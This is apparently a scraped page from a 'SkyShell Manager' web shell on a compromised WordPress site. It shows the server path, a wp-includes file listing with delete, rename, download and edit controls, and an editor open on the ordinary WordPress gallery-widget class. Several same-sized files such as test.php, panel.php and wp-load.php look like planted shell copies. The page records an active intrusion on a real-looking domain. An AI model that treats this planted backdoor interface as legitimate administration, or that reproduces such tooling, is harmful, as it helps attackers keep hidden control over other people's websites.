ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.0.30

Path:root/home/godaofbq/hyperredbed.com/wp-includes/

Name	Size	Perm	Actions
📁 ID3	-	0755	🗑️ 🏷️
📁 IXR	-	0755	🗑️ 🏷️
📁 PHPMailer	-	0755	🗑️ 🏷️
📁 Requests	-	0755	🗑️ 🏷️
📁 SimplePie	-	0755	🗑️ 🏷️
📁 Text	-	0755	🗑️ 🏷️
📁 abilities-api	-	0755	🗑️ 🏷️
📁 ai-client	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 block-bindings	-	0755	🗑️ 🏷️
📁 block-patterns	-	0755	🗑️ 🏷️
📁 block-supports	-	0755	🗑️ 🏷️
📁 blocks	-	0755	🗑️ 🏷️
📁 build	-	0755	🗑️ 🏷️
📁 certificates	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 customize	-	0755	🗑️ 🏷️
📁 fonts	-	0755	🗑️ 🏷️
📁 html-api	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 interactivity-api	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 l10n	-	0755	🗑️ 🏷️
📁 php-ai-client	-	0755	🗑️ 🏷️
📁 php-compat	-	0755	🗑️ 🏷️
📁 pomo	-	0755	🗑️ 🏷️
📁 rest-api	-	0755	🗑️ 🏷️
📁 sitemaps	-	0755	🗑️ 🏷️
📁 sodium_compat	-	0755	🗑️ 🏷️
📁 style-engine	-	0755	🗑️ 🏷️
📁 widgets	-	0755	🗑️ 🏷️
📄 abilities-api.php	23.8 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 abilities.php	7.82 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 admin-bar.php	38.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ai-client.php	2.49 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 atomlib.php	11.9 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 block-bindings.php	7.35 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 block-i18n.json	0.31 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 block-template-utils.php	61.33 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 blocks.php	116.64 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 bookmark-template.php	12.47 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 bookmark.php	15.07 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 cache-compat.php	10.76 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 canonical.php	33.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 capabilities.php	42.61 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 category-template.php	55.65 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 category.php	12.53 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-avif-info.php	29.3 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-feed.php	0.53 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-json.php	42.65 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-phpmailer.php	0.65 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-requests.php	2.18 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-simplepie.php	0.44 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-smtp.php	0.45 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-snoopy.php	36.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-category.php	8.28 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-nav-menu.php	11.76 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-page-dropdown.php	2.65 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-page.php	7.43 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-admin-bar.php	17.58 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-ajax-response.php	5.14 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-bindings-registry.php	8.07 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-bindings-source.php	2.92 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser-block.php	2.5 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser-frame.php	1.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser.php	11.25 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-pattern-categories-registry.php	4.28 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-styles-registry.php	6.27 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-supports.php	6.4 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-templates-registry.php	6.91 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-type-registry.php	4.91 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-type.php	16.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block.php	24.14 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-classic-to-block-menu-converter.php	3.93 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-comment-query.php	47.49 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-comment.php	9.15 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-control.php	25.51 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-manager.php	198.13 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-nav-menus.php	56.61 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-widgets.php	70.89 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-date-query.php	35.13 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-dependencies.php	16.69 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-dependency.php	2.59 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-duotone.php	39.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-embed.php	15.54 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-exception.php	0.25 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-fatal-error-handler.php	7.96 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-feed-cache-transient.php	3.23 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-requests-hooks.php	1.97 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-icons-registry.php	7.67 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-image-editor-gd.php	20.22 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-image-editor-imagick.php	36.11 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-image-editor.php	17.01 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-list-util.php	7.27 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-locale-switcher.php	6.62 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-locale.php	16.45 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-matchesmapregex.php	1.79 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-meta-query.php	29.79 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-metadata-lazyloader.php	6.67 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-navigation-fallback.php	8.98 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-network.php	12.01 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-plugin-dependencies.php	24.59 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-post-type.php	29.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-cookie-service.php	6.72 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-link-service.php	3.44 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode.php	11.18 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-rewrite.php	62.2 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-role.php	2.46 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-session-tokens.php	7.15 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-simplepie-file.php	3.47 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-simplepie-sanitize-kses.php	1.87 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-site-query.php	30.74 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-speculation-rules.php	7.38 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-styles.php	13.04 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-term-query.php	39.8 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json-resolver.php	34.86 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json-schema.php	7.19 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-url-pattern-prefixer.php	4.69 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-user-request.php	2.25 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-widget-factory.php	3.27 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-xmlrpc-server.php	209.98 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class.wp-dependencies.php	0.36 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class.wp-styles.php	0.33 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 comment-template.php	100.79 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 compat.php	15.69 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 cron.php	43.94 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 date.php	0.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 default-filters.php	36.54 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	11.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-atom.php	3.05 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rdf.php	2.61 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rss.php	1.16 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 filefuns.php	5.92 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 fonts.php	9.56 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 functions.php	283.52 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 functions.wp-styles.php	8.45 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 general-template.php	170.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 kses.php	81.03 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 l10n.php	69.74 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 link-template.php	156.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 load.php	55.15 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 locale.php	0.16 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 media-template.php	61.79 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 media.php	219.66 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 meta.php	65.17 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-blogs.php	25.71 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-default-constants.php	4.81 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-default-filters.php	6.48 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-deprecated.php	21.24 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-files.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 ms-network.php	3.69 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-site.php	40.75 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 nav-menu-template.php	25.38 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 nav-menu.php	43.23 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 option.php	102.62 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 panel.php	6.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 post-formats.php	6.9 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 post-template.php	67.01 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 post.php	289.58 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 registration-functions.php	0.2 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 revision.php	29.99 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 rewrite.php	19 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 robots-template.php	5.06 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 rss-functions.php	0.25 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 rss.php	22.66 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 shortcodes.php	23.47 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 sitemaps.php	3.16 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 spl-autoload-compat.php	0.43 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 style-engine.php	7.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 template-loader.php	4.17 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 test.php	6.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 theme-i18n.json	1.85 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 theme-previews.php	2.82 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 theme.json	8.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	37.38 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 vars.php	6.45 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 view-transitions.php	0.59 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 widgets.php	69.17 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 wp-db.php	0.43 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	6.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️

Edit: class-wp-widget-media-gallery.php

<?php
/**
 * Widget API: WP_Widget_Media_Gallery class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.9.0
 */

/**
 * Core class that implements a gallery widget.
 *
 * @since 4.9.0
 *
 * @see WP_Widget_Media
 * @see WP_Widget
 */
class WP_Widget_Media_Gallery extends WP_Widget_Media {

/**
	 * Constructor.
	 *
	 * @since 4.9.0
	 */
	public function __construct() {
		parent::__construct(
			'media_gallery',
			__( 'Gallery' ),
			array(
				'description' => __( 'Displays an image gallery.' ),
				'mime_type'   => 'image',
			)
		);

$this->l10n = array_merge(
			$this->l10n,
			array(
				'no_media_selected' => __( 'No images selected' ),
				'add_media'         => _x( 'Add Images', 'label for button in the gallery widget; should not be longer than ~13 characters long' ),
				'replace_media'     => '',
				'edit_media'        => _x( 'Edit Gallery', 'label for button in the gallery widget; should not be longer than ~13 characters long' ),
			)
		);
	}

/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.9.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		$schema = array(
			'title'          => array(
				'type'                  => 'string',
				'default'               => '',
				'sanitize_callback'     => 'sanitize_text_field',
				'description'           => __( 'Title for the widget' ),
				'should_preview_update' => false,
			),
			'ids'            => array(
				'type'              => 'array',
				'items'             => array(
					'type' => 'integer',
				),
				'default'           => array(),
				'sanitize_callback' => 'wp_parse_id_list',
			),
			'columns'        => array(
				'type'    => 'integer',
				'default' => 3,
				'minimum' => 1,
				'maximum' => 9,
			),
			'size'           => array(
				'type'    => 'string',
				'enum'    => array_merge( get_intermediate_image_sizes(), array( 'full', 'custom' ) ),
				'default' => 'thumbnail',
			),
			'link_type'      => array(
				'type'                  => 'string',
				'enum'                  => array( 'post', 'file', 'none' ),
				'default'               => 'post',
				'media_prop'            => 'link',
				'should_preview_update' => false,
			),
			'orderby_random' => array(
				'type'                  => 'boolean',
				'default'               => false,
				'media_prop'            => '_orderbyRandom',
				'should_preview_update' => false,
			),
		);

/** This filter is documented in wp-includes/widgets/class-wp-widget-media.php */
		$schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this );

return $schema;
	}

/**
	 * Render the media on the frontend.
	 *
	 * @since 4.9.0
	 *
	 * @param array $instance Widget instance props.
	 */
	public function render_media( $instance ) {
		$instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );

$shortcode_atts = array_merge(
			$instance,
			array(
				'link' => $instance['link_type'],
			)
		);

// @codeCoverageIgnoreStart
		if ( $instance['orderby_random'] ) {
			$shortcode_atts['orderby'] = 'rand';
		}

// @codeCoverageIgnoreEnd
		echo gallery_shortcode( $shortcode_atts );
	}

/**
	 * Loads the required media files for the media manager and scripts for media widgets.
	 *
	 * @since 4.9.0
	 */
	public function enqueue_admin_scripts() {
		parent::enqueue_admin_scripts();

$handle = 'media-gallery-widget';
		wp_enqueue_script( $handle );

$exported_schema = array();
		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update', 'items' ) );
		}
		wp_add_inline_script(
			$handle,
			sprintf(
				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
				wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $exported_schema, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);

wp_add_inline_script(
			$handle,
			sprintf(
				'
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
					_.extend( wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
				',
				wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $this->widget_options['mime_type'], JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $this->l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);
	}

/**
	 * Render form template scripts.
	 *
	 * @since 4.9.0
	 */
	public function render_control_template_scripts() {
		parent::render_control_template_scripts();
		?>
		<script type="text/html" id="tmpl-wp-media-widget-gallery-preview">
			<#
			var ids = _.filter( data.ids, function( id ) {
				return ( id in data.attachments );
			} );
			#>
			<# if ( ids.length ) { #>
				<ul class="gallery media-widget-gallery-preview" role="list">
					<# _.each( ids, function( id, index ) { #>
						<# var attachment = data.attachments[ id ]; #>
						<# if ( index < 6 ) { #>
							<li class="gallery-item">
								<div class="gallery-icon">
									<img alt="{{ attachment.alt }}"
										<# if ( index === 5 && data.ids.length > 6 ) { #> aria-hidden="true" <# } #>
										<# if ( attachment.sizes.thumbnail ) { #>
											src="{{ attachment.sizes.thumbnail.url }}" width="{{ attachment.sizes.thumbnail.width }}" height="{{ attachment.sizes.thumbnail.height }}"
										<# } else { #>
											src="{{ attachment.url }}"
										<# } #>
										<# if ( ! attachment.alt && attachment.filename ) { #>
											aria-label="
											<?php
											echo esc_attr(
												sprintf(
													/* translators: %s: The image file name. */
													__( 'The current image has no alternative text. The file name is: %s' ),
													'{{ attachment.filename }}'
												)
											);
											?>
											"
										<# } #>
									/>
									<# if ( index === 5 && data.ids.length > 6 ) { #>
									<div class="gallery-icon-placeholder">
										<p class="gallery-icon-placeholder-text" aria-label="
										<?php
											printf(
												/* translators: %s: The amount of additional, not visible images in the gallery widget preview. */
												__( 'Additional images added to this gallery: %s' ),
												'{{ data.ids.length - 5 }}'
											);
										?>
										">+{{ data.ids.length - 5 }}</p>
									</div>
									<# } #>
								</div>
							</li>
						<# } #>
					<# } ); #>
				</ul>
			<# } else { #>
				<div class="attachment-media-view">
					<button type="button" class="placeholder button-add-media"><?php echo esc_html( $this->l10n['add_media'] ); ?></button>
				</div>
			<# } #>
		</script>
		<?php
	}

/**
	 * Whether the widget has content to show.
	 *
	 * @since 4.9.0
	 *
	 * @param array $instance Widget instance props.
	 * @return bool Whether widget has content.
	 */
	protected function has_content( $instance ) {
		if ( ! empty( $instance['ids'] ) ) {
			$attachments = wp_parse_id_list( $instance['ids'] );
			// Prime attachment post caches.
			_prime_post_caches( $attachments, false, false );
			foreach ( $attachments as $attachment ) {
				if ( 'attachment' !== get_post_type( $attachment ) ) {
					return false;
				}
			}
			return true;
		}
		return false;
	}
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.0.30

Edit: class-wp-widget-media-gallery.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.0.30